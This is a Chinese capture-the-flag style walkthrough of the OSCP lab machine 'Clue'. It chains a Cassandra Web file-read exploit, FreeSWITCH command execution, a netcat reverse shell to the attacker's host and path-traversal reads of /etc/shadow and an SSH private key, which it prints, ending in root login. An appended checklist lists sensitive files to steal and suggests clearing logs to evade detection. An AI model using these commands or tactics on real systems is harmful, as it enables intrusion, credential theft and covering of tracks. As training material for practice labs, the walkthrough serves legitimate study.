Featured image of post OSCP官方靶场 Clue WP
渗透测试

OSCP官方靶场 Clue WP

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

官网打开靶场

信息收集

1# Kali攻击机地址
2192.168.45.187
3# 靶机地址
4192.168.133.240

扫描端口和目录

 1# 设置MTU
 2sudo ip link set dev tun0 mtu 1250
 3ip link show tun0
 4# 扫描端口
 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.133.240 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
 6echo $ports
 7# 扫描服务
 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.133.240
 9sudo nmap --script=vuln -p$ports -Pn 192.168.133.240
10# 扫描框架
11whatweb http://192.168.133.240:3000/
12# 扫描目录
13gobuster dir -e -u http://192.168.133.240:3000 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -t 25 --exclude-length 3837

直接扫目录会因为长度报错，修改了一下命令

扫描结果如下：

 1┌──(kali㉿kali)-[~]
 2└─$ echo $ports
 322,80,139,445,3000
 4
 5┌──(kali㉿kali)-[~]
 6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.133.240
 7Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 03:47 EDT
 8Nmap scan report for 192.168.133.240
 9Host is up (0.20s latency).
10
11PORT     STATE SERVICE     VERSION
1222/tcp   open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
13| ssh-hostkey:
14|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
15|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
16|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
1780/tcp   open  http        Apache httpd 2.4.38
18|_http-title: 403 Forbidden
19|_http-server-header: Apache/2.4.38 (Debian)
20139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
21445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
223000/tcp open  http        Thin httpd
23|_http-title: Cassandra Web
24|_http-server-header: thin
25|_http-trane-info: Problem with XML parsing of /evox/about
26Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
27Device type: general purpose|router
28Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
29OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
30Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
31No exact OS matches for host (test conditions non-ideal).
32Service Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel
33
34Host script results:
35| smb-security-mode:
36|   account_used: guest
37|   authentication_level: user
38|   challenge_response: supported
39|_  message_signing: disabled (dangerous, but default)
40| smb-os-discovery:
41|   OS: Windows 6.1 (Samba 4.9.5-Debian)
42|   Computer name: clue
43|   NetBIOS computer name: CLUE\x00
44|   Domain name: pg
45|   FQDN: clue.pg
46|_  System time: 2025-08-22T03:47:55-04:00
47| smb2-security-mode:
48|   3:1:1:
49|_    Message signing enabled but not required
50| smb2-time:
51|   date: 2025-08-22T07:47:54
52|_  start_date: N/A
53|_clock-skew: mean: 1h20m03s, deviation: 2h18m40s, median: 0s
54
55OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
56Nmap done: 1 IP address (1 host up) scanned in 84.87 seconds
57
58┌──(kali㉿kali)-[~]
59└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.133.240
60Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 03:50 EDT
61Nmap scan report for 192.168.133.240
62Host is up (0.27s latency).
63
64PORT     STATE SERVICE
6522/tcp   open  ssh
6680/tcp   open  http
67|_http-csrf: Couldn't find any CSRF vulnerabilities.'
68|_http-dombased-xss: Couldn't find any DOM based XSS.
69|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
70139/tcp  open  netbios-ssn
71445/tcp  open  microsoft-ds
723000/tcp open  ppp
73
74Host script results:
75| smb-vuln-regsvc-dos:
76|   VULNERABLE:
77|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
78|     State: VULNERABLE
79|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
80|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
81|       while working on smb-enum-sessions.
82|_
83|_smb-vuln-ms10-061: false
84|_smb-vuln-ms10-054: false
85
86Nmap done: 1 IP address (1 host up) scanned in 119.91 seconds
87
88┌──(kali㉿kali)-[~]
89└─$ whatweb http://192.168.133.240:3000/
90http://192.168.133.240:3000/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[thin], IP[192.168.133.240], Script, Title[Cassandra Web], X-UA-Compatible[IE=edge]

Cassandra 远程文件读取漏洞

这里Nmap的扫描结果提示了打开80端口提示forbiden，打开3000端口是一个数据库管理的界面Cassandra Web。然后139和445端口是smb协议的端口，还扫出来了一些基本信息，smb协议有很多漏洞，但是这个扫描的结果也提示了 smb-vuln-ms10-061 和 smb-vuln-ms10-054这两个最好用的漏洞不存在。扫描3000端口的目录没有发现有用的信息。

搜索3000端口对应的框架是否有漏洞，发现一个远程文件读取漏洞。

1searchsploit Cassandra
2searchsploit -m linux/webapps/49362.py


1python 49362.py 192.168.133.240 /etc/passwd
2python 49362.py 192.168.133.240 /proc/self/cmdline
3python 49362.py 192.168.133.240 /etc/ssh/sshd_config

用户密码

cassie SecondBiteTheApple330

但是ssh登录失败，也不是另一个用户的密码，还要继续搜索其他的配置文件。

freeswitch命令执行漏洞

官方完整的扫描中是存在8021端口的，这里是扫描漏掉了，所以最好还是用官方给的web kali扫描全部的端口一次，获得最全的端口。一下小节是官方给的Workthrough中的命令

 1# 让我们使用 `smbclient` 来检查一下。
 2smbclient -N -L 192.168.133.240 
 3# `backup` 分享很有趣，让我们登录看看里面有什么
 4smbclient -N //192.168.133.240/backup
 5# 目录名称
 6curl -I http://192.168.133.240/backup/freeswitch
 7curl -I http:/192.168.133.240/backup/freeswitch/etc
 8# 后面官方尝试了上传文件，但是失败，密码错误
 9mkdir backup
10sudo mount -t cifs //192.168.133.240/backup backup/ -o guest
11cd backup/
12# 挂载目录后找密码
13find . -type f -name "*.xml" -exec grep -nH password {} + | wc -l
14find . -type f -name "*.xml" -exec grep -nH password {} + | grep socket

挂上了，但是找到的是默认密码，搜索最新的配置文件会存在那个在哪里。到下面这个网站找到密码会存放在哪里的配置文件里。 https://developer.signalwire.com/freeswitch/FreeSWITCH-Explained/Configuration/Default-Configuration_6587388/#confautoload_configs 其实相对的只要把本地目录换远端目录就行，远端目录用的一定是现在在用的密码。

1python 49362.py 192.168.133.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml

端口和密码

8021 StrongClueConEight021

1searchsploit freeswitch
2searchsploit -m  windows/remote/47799.txt
3mv 47799.txt 47799.py
4sed -i -E "s/ClueCon/StrongClueConEight021/g" 47799.py
5python 47799.py 192.168.133.240 whoami
6python 47799.py 192.168.133.240 ls
7python 47799.py 192.168.133.240 "ls /home"

反弹Shell

在cassie文件夹下找到一个id_rsa密钥，但是freeswitch账户没法读，现在可以执行命令的话，把shell弹回来再说。

1rlwrap -cAr nc -nlvp 3000
2python 47799.py 192.168.133.240  "nc -nv 192.168.45.187 3000 -e /bin/bash"
3python3 -c 'import pty;pty.spawn("/bin/bash")'

现在就可以用之前ssh登录失败的cassise账户直接su切换，因为ssh配置文件里写了只允许root和anthony账户登录，但是这两个我们又不知道密码。 这个下面的id_rsa利用失败，不知道是谁的ssh密钥文件，尝试了两个账户都失败。然后发现cassise用户可以用sudo的权限有/usr/local/bin/cassandra-web

内网信息收集

 1# 简单来说，这个命令就是用指定的配置启动了 Cassandra Web 管理工具，让用户可以通过 Web 界面管理 Cassandra 数据库
 2# `cassandra - web`工具将以指定的用户名和密码启动，并监听在`0.0.0.0:4444`上，允许远程连接访问其 Web 界面来管理 Cassandra 数据库
 3sudo /usr/local/bin/cassandra-web -B 0.0.0.0:4444 -u cassie -p SecondBiteTheApple330
 4
 5
 6# 另一个shell运行下面命令
 7# 读取敏感信息
 8curl --path-as-is localhost:4444/../../../../../../../../etc/shadow
 9curl --path-as-is localhost:4444/../../../../../../../../home/anthony/.bash_history
10curl --path-as-is localhost:4444/../../../../../../../../home/anthony/.ssh/id_rsa

这样就能得到的密钥文件了，而且这个密钥文件还放到了root文件夹下，也就是说能直接用这个密钥登录root。

 1# 得到密码文件，但是这个长度一般是爆破不开的
 2cassie:$6$/WeFDwP1CNIN34/z$9woKSLSZhgHw1mX3ou90wnR.i5LHEfeyfHbxu7nYmaZILVrbhHrSeHNGqV0WesuQWGIL7DHEwHKOLK6UX79DI0:19209:0:99999:7
 3freeswitch:!:19209
 4
 5anthony:$6$01NV0gAhVLOnUHb0$byLv3N95fqVvhut9rbsrYOVzi8QseWfkFl7.VDQ.26a.0IkEVR2TDXoTv/KCMLjUOQZMMpkTUdC3WIyqSWQ.Y1:19209:0:99999:7
 6# 得到密钥文件
 7-----BEGIN OPENSSH PRIVATE KEY-----
 8b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
 9NhAAAAAwEAAQAAAQEAw59iC+ySJ9F/xWp8QVkvBva2nCFikZ0VT7hkhtAxujRRqKjhLKJe
10d19FBjwkeSg+PevKIzrBVr0JQuEPJ1C9NCxRsp91xECMK3hGh/DBdfh1FrQACtS4oOdzdM
11jWyB00P1JPdEM4ojwzPu0CcduuV0kVJDndtsDqAcLJr+Ls8zYo376zCyJuCCBonPVitr2m
12B6KWILv/ajKwbgrNMZpQb8prHL3lRIVabjaSv0bITx1KMeyaya+K+Dz84Vu8uHNFJO0rhq
13gBAGtUgBJNJWa9EZtwws9PtsLIOzyZYrQTOTq4+q/FFpAKfbsNdqUe445FkvPmryyx7If/
14DaMoSYSPhwAAA8gc9JxpHPScaQAAAAdzc2gtcnNhAAABAQDDn2IL7JIn0X/FanxBWS8G9r
15acIWKRnRVPuGSG0DG6NFGoqOEsol53X0UGPCR5KD4968ojOsFWvQlC4Q8nUL00LFGyn3XE
16QIwreEaH8MF1+HUWtAAK1Lig53N0yNbIHTQ/Uk90QziiPDM+7QJx265XSRUkOd22wOoBws
17mv4uzzNijfvrMLIm4IIGic9WK2vaYHopYgu/9qMrBuCs0xmlBvymscveVEhVpuNpK/RshP
18HUox7JrJr4r4PPzhW7y4c0Uk7SuGqAEAa1SAEk0lZr0Rm3DCz0+2wsg7PJlitBM5Orj6r8
19UWkAp9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+HAAAAAwEAAQAAAQBjswJsY1il9I7zFW9Y
20etSN7wVok1dCMVXgOHD7iHYfmXSYyeFhNyuAGUz7fYF1Qj5enqJ5zAMnataigEOR3QNg6M
21mGiOCjceY+bWE8/UYMEuHR/VEcNAgY8X0VYxqcCM5NC201KuFdReM0SeT6FGVJVRTyTo+i
22CbX5ycWy36u109ncxnDrxJvvb7xROxQ/dCrusF2uVuejUtI4uX1eeqZy3Rb3GPVI4Ttq0+
230hu6jNH4YCYU3SGdwTDz/UJIh9/10OJYsuKcDPBlYwT7mw2QmES3IACPpW8KZAigSLM4fG
24Y2Ej3uwX8g6pku6P6ecgwmE2jYPP4c/TMU7TLuSAT9TpAAAAgG46HP7WIX+Hjdjuxa2/2C
25gX/VSpkzFcdARj51oG4bgXW33pkoXWHvt/iIz8ahHqZB4dniCjHVzjm2hiXwbUvvnKMrCG
26krIAfZcUP7Ng/pb1wmqz14lNwuhj9WUhoVJFgYk14knZhC2v2dPdZ8BZ3dqBnfQl0IfR9b
27yyQzy+CLBRAAAAgQD7g2V+1vlb8MEyIhQJsSxPGA8Ge05HJDKmaiwC2o+L3Er1dlktm/Ys
28kBW5hWiVwWoeCUAmUcNgFHMFs5nIZnWBwUhgukrdGu3xXpipp9uyeYuuE0/jGob5SFHXvU
29DEaXqE8Q9K14vb9by1RZaxWEMK6byndDNswtz9AeEwnCG0OwAAAIEAxxy/IMPfT3PUoknN
30Q2N8D2WlFEYh0avw/VlqUiGTJE8K6lbzu6M0nxv+OI0i1BVR1zrd28BYphDOsAy6kZNBTU
31iw4liAQFFhimnpld+7/8EBW1Oti8ZH5Mx8RdsxYtzBlC2uDyblKrG030Nk0EHNpcG6kRVj
324oGMJpv1aeQnWSUAAAAMYW50aG9ueUBjbHVlAQIDBAUGBw==
33-----END OPENSSH PRIVATE KEY-----

提权root

然后在kali中复制这个密钥，然后直接用密钥登录即可。

1cat > id_rsa
2chmod 600 id_rsa
3ssh -i id_rsa root@192.168.133.240

这里不知道为什么只能root登录而不是Anthony登录，按道理来说应该都能登录的。 找到提权后的flag 这里提示smb服务开启，但是没什么用 实在是找不到第一个local那个flag在哪里，看了一下官方提示 直接find找吧，OSCP的flag命名很规范，直接找名字就行。

1find / -type f -name "local.txt" -print 2>/dev/null
2cat /var/lib/freeswitch/local.txt

总结

入侵路径示意图

入侵时间表

有哪些容易泄露配置信息的文件？

在利用文件读取漏洞进行渗透测试时，优先读取以下高价值文件可快速获取关键信息，推动后续攻击链的构建。根据漏洞利用目标和系统环境，推荐按优先级读取以下文件：

🔍 ​​一、系统关键文件（Linux/Unix）​​

  1. ​​/etc/passwd​​
    • ​​价值​​：泄露所有用户账户信息（UID/GID、Shell类型），为暴力破解或权限提升提供目标列表。
    • ​​后续利用​​：结合弱口令攻击或 suid程序提权。
  2. ​​/etc/shadow​​
    • ​​价值​​：存储用户密码哈希（需root权限读取），破解后可获取系统权限。
    • ​​注意​​：若漏洞权限不足，需结合其他漏洞（如路径遍历）尝试读取。
  3. ​​/etc/group​​
    • ​​价值​​：获取用户组信息，识别高权限组（如 sudo、docker），辅助横向移动。

💻 ​​二、应用敏感文件​​

  1. ​​Web服务器配置​​
    • ​​Nginx/Apache​​：
      • etc/nginx/nginx.conf、etc/httpd/conf/httpd.conf：获取虚拟主机配置、反向代理规则，发现隐藏服务或内部网络信息。
    • ​​数据库凭据​​：
      • 如 WEB-INF/web.xml（Java Web应用）、config.php（PHP应用）：泄露数据库连接字符串，直接访问数据库。
  2. ​​环境配置文件​​
    • ​​.env文件​​：存储API密钥、加密密钥等敏感信息，常见于Node.js/Python应用。
    • ​​Kubernetes配置​​：
      • /var/run/secrets/kubernetes.io/serviceaccount/token：获取Service Account Token，接管K8s集群。

📂 ​​三、动态信息与日志文件​​

  1. ​​/proc/self/environ​​
    • ​​价值​​：暴露进程环境变量（如 PATH、SECRET_KEY），可能包含硬编码凭据或调试信息。
  2. ​​/proc/self/cmdline​​
    • ​​价值​​：揭示当前进程启动命令及参数，辅助识别应用框架或配置路径。
  3. ​​系统日志​​
    • /var/log/auth.log（Linux）：查看SSH登录记录，定位管理员IP或爆破痕迹。
    • C:\Windows\System32\winevt\Logs\Security.evtx（Windows）：分析安全事件日志。

⚙️ ​​四、特殊路径与内存文件​​

  1. ​​临时文件与缓存​​
    • /tmp/、/dev/shm/：查找上传的恶意脚本或缓存数据（如Session文件）。
  2. ​​内核与内存映射​​
    • /proc/kallsyms（需root）：泄露内核函数地址，绕过ASLR防护。
    • /dev/mem：直接访问物理内存，提取加密密钥（需高权限）。

🎯 ​​五、针对Java应用的专项读取​

​

  1. ​​WEB-INF/classes/目录​​
    • ​​价值​​：读取编译后的 .class文件，反编译获取业务逻辑漏洞（如硬编码密钥）。
  2. ​​WEB-INF/web.xml​​
    • ​​价值​​：解析Servlet映射、过滤器配置，发现未授权访问点或安全绕过路径。
  3. ​​JAR/WAR 文件​​
    • 如 lib/application.jar：解压后分析依赖库漏洞（如Log4j）。

🛡️ ​​防御规避与注意事项​​

  • ​​合法性​​：仅在授权范围内测试，避免读取用户隐私数据。
  • ​​隐蔽性​​：
    • 清理日志（如覆盖 /var/log/apache2/access.log）。
    • 避免频繁请求，触发WAF/IDS告警。
  • ​​工具辅助​​：
    • 使用 jd-gui反编译 .class文件。
    • 通过 pwntools自动化解析内存偏移。

💎 ​​总结：优先级策略​​

  1. ​​快速突破​​：/etc/passwd→ /proc/self/environ→ 应用配置文件。
  2. ​​深度渗透​​：数据库凭据 → 日志文件 → 内核/内存文件。
  3. ​​源码反制​​：Java .class文件 → 依赖库扫描 → 反编译分析。

find命令的妙用

要高效查找 local.txt文件，需优化 find /命令以避免全盘扫描并提升定位精度。以下是针对性优化方案及命令：

🔍 ​​优化后的查找命令​​

find / -type f -name "local.txt" -print 2>/dev/null

​​关键优化点​​：

  1. ​​限定文件类型​​：-type f仅搜索普通文件，跳过目录、符号链接等无关项。
  2. ​​精准文件名匹配​​：-name "local.txt"严格匹配目标文件名，避免模糊搜索的开销。
  3. ​​抑制错误输出​​：2>/dev/null隐藏权限不足等报错，减少终端干扰。

⚙️ ​​进阶场景优化​​

1. ​​限制搜索深度（减少扫描范围）​​

find / -maxdepth 3 -type f -name "local.txt" 2>/dev/null
  • ​​适用场景​​：已知文件位于顶层目录（如 /etc/、/tmp/）时，通过 -maxdepth 3限制子目录层级，速度提升显著。

2. ​​组合条件搜索（时间/大小过滤）​​

# 查找最近7天内修改过的 local.txt
find / -type f -name "local.txt" -mtime -7 2>/dev/null

# 查找大于1KB的 local.txt
find / -type f -name "local.txt" -size +1k 2>/dev/null
  • ​​适用场景​​：
    • -mtime -7：文件近期被修改过（如渗透测试中的后门文件）。
    • -size +1k：排除空文件或小体积缓存文件。

3. ​​权限/所有者过滤​​

# 查找属主为 root 的 local.txt
find / -type f -name "local.txt" -user root 2>/dev/null

# 查找权限为644的 local.txt
find / -type f -name "local.txt" -perm 644 2>/dev/null
  • ​​适用场景​​：快速定位系统关键文件或配置。

💡 ​​替代方案（更高效率）​​

使用 locate命令（需先更新数据库）：

sudo updatedb     # 更新文件数据库（需root权限）
locate local.txt  # 秒级检索（依赖定期更新的数据库）
  • ​​优势​​：比 find快数十倍，适合频繁搜索固定文件。
  • ​​注意​​：新建文件需等待数据库更新（默认每日自动更新）。

⚠️ ​​注意事项​​

  1. ​​权限问题​​：搜索系统目录（如 /etc/、/root/）需 sudo权限，否则结果不全。
  2. ​​性能影响​​：全盘扫描（find /）可能加重磁盘负载，建议在非高峰时段执行。
  3. ​​精确路径​​：若已知大致路径（如 /var/log/），直接指定路径而非根目录 /，效率更高。

📊 ​​命令执行效果对比​​

​​方法​​​​速度​​​​精度​​​​适用场景​​
find / -name "local.txt"慢高全盘精准搜索
find / -maxdepth 3 ...中中限定深度快速扫描
locate local.txt极快依赖更新高频检索已知文件

为什么root可以登录成功而Anthony用户无法用密钥登录？

根据 .bash_history记录和测试现象，结合 SSH 密钥认证机制，anthony用户连接失败而 root用户成功的原因可能如下：

⚠️ ​​核心原因分析​​

  1. ​​密钥文件权限问题（anthony 用户）​​
    • SSH 要求私钥权限必须为 600，若权限过宽（如 644）会导致客户端拒绝使用私钥。
    • 检查 anthony 的私钥权限：
      ls -l ~/.ssh/id_rsa  # 应为 -rw------- (600)
      若权限不符，需修复：
      chmod 600 ~/.ssh/id_rsa
  2. ​​.ssh目录或 authorized_keys权限问题（服务器端）​​
    • anthony用户的 .ssh目录权限需为 700，authorized_keys文件权限需为 600。
    • 若权限错误（如 authorized_keys为 644），服务器会拒绝认证：
      # 在服务器上检查 anthony 用户的配置
chmod 700 /home/anthony/.ssh
chmod 600 /home/anthony/.ssh/authorized_keys
  3. ​​authorized_keys内容或路径错误​​
    • cp .ssh/id_rsa.pub .ssh/authorized_keys可能未正确覆盖文件（如文件路径错误或内容截断）。
    • 验证 authorized_keys内容是否包含完整公钥：
      cat /home/anthony/.ssh/authorized_keys
  4. ​​SSH 服务配置限制​​
    • 服务器可能禁止 anthony用户使用密钥登录（如 sshd_config中设置了 DenyUsers anthony或 PubkeyAuthentication no）。
    • 检查服务器配置：
      grep -E "DenyUsers|PubkeyAuthentication" /etc/ssh/sshd_config
# 确保包含： PubkeyAuthentication yes
  5. ​​用户目录所有权或权限问题​​
    • anthony用户目录权限过宽（如 /home/anthony权限为 777）会导致 SSH 拒绝认证。
    • 修复目录权限：
      chmod 755 /home/anthony  # 必须 ≤755

✅ ​​为何 root用户能成功？​​

  1. ​​root的 authorized_keys配置正确​​
    • sudo cp .ssh/id_rsa.pub /root/.ssh/authorized_keys命令直接将公钥复制到 root用户，且 root的 .ssh目录通常自动满足权限要求（700）。
  2. ​​root用户不受某些限制​​
    • sshd_config可能未限制 root登录（如 PermitRootLogin yes），而 anthony用户可能被其他规则阻止。

🔧 ​​解决方案​​

  1. ​​修复 anthony 用户的权限​​

    • ​​客户端​​（本地）：
      chmod 600 ~/.ssh/id_rsa
    • ​​服务器端​​（以 anthony登录或通过 root修复）：
      chmod 700 /home/anthony/.ssh
chmod 600 /home/anthony/.ssh/authorized_keys
chmod 755 /home/anthony  # 确保目录权限安全

  2. ​​验证 authorized_keys内容​​

    • 确认公钥完整写入：
      echo "$(cat ~/.ssh/id_rsa.pub)" > /home/anthony/.ssh/authorized_keys

  3. ​​检查服务器 SSH 配置​​

    • 编辑 /etc/ssh/sshd_config：
      PubkeyAuthentication yes      # 启用密钥认证
AllowUsers anthony root       # 允许 anthony 和 root 登录
      重启服务生效：
      sudo systemctl restart sshd

  4. ​​调试连接​​

    • 使用 -vvv参数查看详细错误：
      ssh -vvv -i id_rsa anthony@192.168.133.240
    • 检查服务器日志：
      tail -f /var/log/auth.log  # Debian/Ubuntu
tail -f /var/log/secure     # RHEL/CentOS

根据您提供的目录信息和 SSH 密钥认证机制，/home/anthony/.ssh/authorized_keys文件缺失会导致 SSH 公钥登录失败。以下是具体分析和解决方案：

⚠️ ​​无法登录的原因​​

  1. ​​authorized_keys文件缺失​​
    • 该文件是 SSH 服务器验证客户端公钥的核心依据。服务器会检查客户端提供的公钥是否在 authorized_keys中，若文件不存在，则公钥认证自动失败 。
    • 您的目录中仅有 id_rsa.pub（公钥）和 id_rsa（私钥），但未将公钥内容添加到 authorized_keys文件中，导致服务器无法匹配私钥 。
  2. ​​root用户登录成功的原因​​
    • 您此前执行了 sudo cp .ssh/id_rsa.pub /root/.ssh/authorized_keys，已将公钥正确复制到 root用户的 authorized_keys文件，因此 root可正常登录 。

🔧 ​​解决方案：为 anthony用户创建 authorized_keys​​

步骤 1：创建文件并添加公钥内容

# 进入 anthony 的 .ssh 目录
cd /home/anthony/.ssh

# 创建 authorized_keys 文件并将 id_rsa.pub 内容追加到其中
cat id_rsa.pub >> authorized_keys

步骤 2：设置严格的文件权限

# 设置 authorized_keys 权限为 600（仅所有者可读写）
chmod 600 authorized_keys

# 确保 .ssh 目录权限为 700（仅所有者可访问）
chmod 700 /home/anthony/.ssh
  • ​​权限要求​​：SSH 要求 authorized_keys权限为 600，.ssh目录权限为 700，否则服务器会拒绝认证 。

步骤 3：验证 SSH 配置（可选）

  • 检查 /etc/ssh/sshd_config确保以下配置启用：

    PubkeyAuthentication yes      # 启用公钥认证
AuthorizedKeysFile .ssh/authorized_keys  # 指定公钥文件路径

  • 重启 SSH 服务使配置生效：

    sudo systemctl restart sshd

✅ ​​验证登录​​

完成上述步骤后，尝试重新连接：

ssh -i /path/to/id_rsa anthony@192.168.133.240
  • 若仍失败，可通过调试模式定位问题：
    ssh -vvv -i /path/to/id_rsa anthony@192.168.133.240

📌 ​​关键注意事项​​

  1. ​​文件完整性​​
    • authorized_keys中公钥需与客户端私钥严格匹配，复制时避免遗漏字符 。
  2. ​​权限安全​​
    • 权限错误是常见失败原因，需确保：
      • authorized_keys→ 600
      • .ssh目录 → 700
      • 私钥 id_rsa→ 600（您已满足）
  3. ​​目录所有权​​
    • 确保 /home/anthony及其子目录所有者是 anthony，否则 SSH 可能拒绝认证：
      chown -R anthony:anthony /home/anthony

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚